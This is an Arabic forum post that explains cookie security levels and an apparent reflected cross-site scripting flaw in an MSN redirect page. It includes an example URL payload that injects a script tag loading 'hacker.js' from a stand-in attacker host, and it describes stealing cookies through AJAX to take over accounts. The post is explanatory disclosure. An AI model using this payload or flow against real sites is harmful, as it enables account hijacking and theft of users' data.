السلام عليكم
المدخل
الكوكيز: الحلوة الرقمية
الكوكيز هو ملف نصي له وقت ينتهي، يقوم الخادم بزرعها في جهاز الزبون قصد حفظ بعض المعلومات و المتغيرات لحين استرجاعها او التعامل معها في اتصال آخر
وتتراوح خطورة الكوكيز اذا تم فتح ثغرة للوصول اليها، من ثغرة لاتشكل أي خطر على الخادم و الزبون الى درجة خطيرة جدا قد تعصف بمعلومات الزبون، خصوصا اذا كان الكوكيز يعود لموقع بريد مهم ك msn yahoo gmail
- ثعرة لا تشكل أي خطر
عندما يتم الوصول الى الكوكيز لكن، المعلومات التي تكون مخزنة فيه تكون خاصة بمتغيرات و قيم لها علاقة بالتصميم او معلومات خاصة بالمتصفح، كأن يحفظ في الكوكيز نوع المتصفح او طول وعرض الشاشة اوقيم خاصة بطول او عرض خانة او صندوق او متغيرات خاصة بالجافاسكريبت، او عداد لإظهار نافذة منبثقة مرة كل ثلاث أيام مثلا.
فهنا ان تم الوصول و التحكم في الكوكي فإنه لا يشكل أي خطر على صاحب السيرفر(الخادم) و صاحب الجهاز(الزبون)
- ثغرة متوسطة
هي الثغرة التي ان تم الكشف و الوصول الى الكوكيز يكون المتضرر الوحد هو العميل، كأن يعتمد في الكوكيز على الإحصائيات او تخزين رقم ال IP او بعض المعلومات عن الزبون قصد الإستفادة منها او ليقيم به موقعه، او معلومة يتذكر بها الجهاز ليضع إعلانات غير مكررة مثلا
ان ثم الوصول و التلاعب في الكوكي، فلن يتضرر الزبون بل صاحب الصفحة هو من سيحصل له إختلال في المعلومات، التي يستجديها من جهاز الزبون
- ثغرة عاصفة
هي التي يكون فيها الكوكيز مخزن لبعض المعلومات الحساسة ككلمة المرور و كلمة السر وبعض القيم التي ان تغيرت يتم تغيير في قاعدة بيانات العميل
تكمن الخطورة هنا ان تم الكشف عن ذاك الكوكيز، فإن مكتشف او المتلاعب بالكوكيز هنا ستكون له الأولوية على بريدك او حسابك
والمتضرر هنا بالدرج الأولى هو الزبون الذي ستتعرض مصالحه للخطر
هذه الثغرات كلها غير واردة الا إن كان المبرمج في تعامله مع الكوكيز لم يؤمنها
والتأمين هنا ليس في حماية الكوكيز نفسه او إعلاق الأبواب الخلفية، بل في جعل البرمجة لا تقبل وسوم خارجية او تحكم خارجي في الكوكيز(أي من خارج الموقع، لأن الكوكيز يتعرف على الموقع من الإمتداد الجدري)
حتى أن من خوف بعض مبرمجي ال php من الكوكيز يلتجئ الى الجلسات ثم الجلسات ولا حلوة صغيرة(cookie)
المأزق
الثغرة الأخيرة التي ذكرت والتي ان ثم توضيفها جيدا وكان للموقع رواجا كبيرا و مصالح للناس فيه، خصوصا ان كان بريد إلكتروني فإن بهذه الثغرة قد تعرضت عورات بريدهم للكشف لغيرهم كما حدث ومازال يحدث مع العملاق المتقزم(بسبب هذه الثغرة) ال msn
أساس مشكلة ثغرة الكوكيز في ال msn
سأحاول تقريبها بال php
هذه الصفحة سنلاحظ انه يوجد بها متغير $RE هذا المتغير يأخد القيمة من العنوان
كود PHP:
<br>
Unless your browser has scripting disabled, you should be returned to the
page you were at in a couple seconds. Otherwise, please click
<a href="$RE"><b>here</b></a>
to return manually.
</body></html>
أي إن كان العنوان هكذا
www.xxx.msn.com?RE=www.swalif.net
فإن ناتج الصفحة سيكون هو
كود PHP:
<br>
Unless your browser has scripting disabled, you should be returned to the
page you were at in a couple seconds. Otherwise, please click
<a href="www.swalif.net"><b>here</b></a>
to return manually.
</body></html>
أين المشكل إذا؟
المشكلة يبدوا ان مبرمج هذه الصفحة حين برمجته لها أكل من كبدة بائتة
حيث جعل اية قيمة يحملها المتغيرRE تطبع في الصفحة دون مرورها من دوال للتحقق من مصداقيتها
ماذا يعني هذا؟
يعني ان المتغير يقبل الوسوم!!
يكفي ان يكون مبرمج ذو بال حتى يقحم بعض الوسوم الحساسة، كأن يغلق وسم الرابط ليفتح وسم استدعاء السكريبت، وان تم له ان يستدعي ملف جافاسكريبت من داخل الوسم من جهازك فإنه بدالة document.coockie يعرف الكوكي كله الخاص بال msn طالما ان الموقع الجدري هو الذي يستدعيى السكريبت الفرعي، وهذا مثال مبسط
ان كان الرابط
كود PHP:
www.xxx.msn.com?RE=#"></a><script src="http://www.xxx.com/hacker.js"></script><a href="
بعد تحويل قيمة RE الى نسب مؤية عن طريق الدالة escap حتى لا يقع تعارض بين الرموز البرمجية و النصوص العادية
فإن الناتج عن هذه الصفحة هي
كود PHP:
<br>
Unless your browser has scripting disabled, you should be returned to the
page you were at in a couple seconds. Otherwise, please click
<a href="#"></a><script src="http://www.xxx.com/hacker.js "></script><a href=""><b>here</b></a>
to return manually.
</body></html>
معناه ان صفحة ال msn إستدعت ملف السكريبت http://www.xxx.com/hacker.js
وهذا الملف الله وحده يعلم مايمكن ان يوضع فيه
وما يمكن ان ينتج عن هذه الثغرة
- الكوكيز ممكن سحبه بسهولة و غرساله عن طريق تقنية أجاكس دون ان تدري
- كما يمكن ان يعدل لك في الكوكيز بما يناسبه
- حقيقة ان أغلب كلمات السر التي تكون محفوظة في الكوكيز تكون مشفرة على وزن MD5 لكن يمكنه ان يلج لحسابك و في حسابك توجد كلمات مرور و أسرار أخرى
- ان يضع لك أكواد ActiveX معلوم انه هناك اوامر لا تتعدى سطرين يمكن ان تعدل في قاعدة الروجيستر الخاصة بجهازك، وان وصل الى الروجستر فبإمكانه ان يجعلك عندما تريد ان تدخل الى hotmail يحولك مباشرة الى موقعه او يستدعي لك صورة او لعبة في صفحة ال msn
(حقيقة تخرج رسالة تحذير انك ستعدل على ملفات النظام، لكن هناك من لا يعرف اصلا ماهو أكتف إكس، اوكي او خلاص)
اين يكمن الخطر
الخطر يكمن في انك لا تعرف الصفحة الملغومة وللأسف فايرفوكس بنفسه تمر عليه الحيلة (لأن الثغرة ليست ثغرة المتصفح) حيث يمكن ان يعطيك أحد رابط عادي لموقع معين او صفحة معينة حين الدخول اليها لا تكاد تعد في نفسك لغاية 3 حتى يكون انسحب من الكوكي ولا من شاف ولا من دري
النقرة الأولى تقوم بتحويلك مباشرة الى الرابط الملغوم
المرة الثانية يتم سحب الكوكي من الضحية و إرساله الهكر
المرة الثالثة من خلال كود اللجافا الذي أحد منك الكوكيز هو نفسه بعد انتهاء العملية يعيدك الى الصفحة التي يريد ان يريها لك
يني ان قال لك اليك موقع اخباري مثلا فإنك ستمر عبر مرحليتن ثم المرحلة الثالثة هي التي تفتح لك موقع الأخبار، كل هذا في أقل من 3 ثواني
المخرج
هو في مراسلة ال msn بهذه الثغرة رغم انها أقرت بها كم مرة ولم ترقعها و لا مرة أو تعليق خدمة ال msn الى أجل مسمى
هناك أخطاء إملائية خصوص نسيان بعض الحروف حيت ان لوحة المفاتيح حاصتي عاصي الدمع
إبراهيم بيدي
تبادل الخبرات[4](إيجابيات وسلبيات أجاكس)
تبادل الخبرات[3](Include(Ajax))
تبادل الخبرات[2](البكسل و النسبة المؤية)
تبادل الخبرات[1].(مالبديل للدالة)for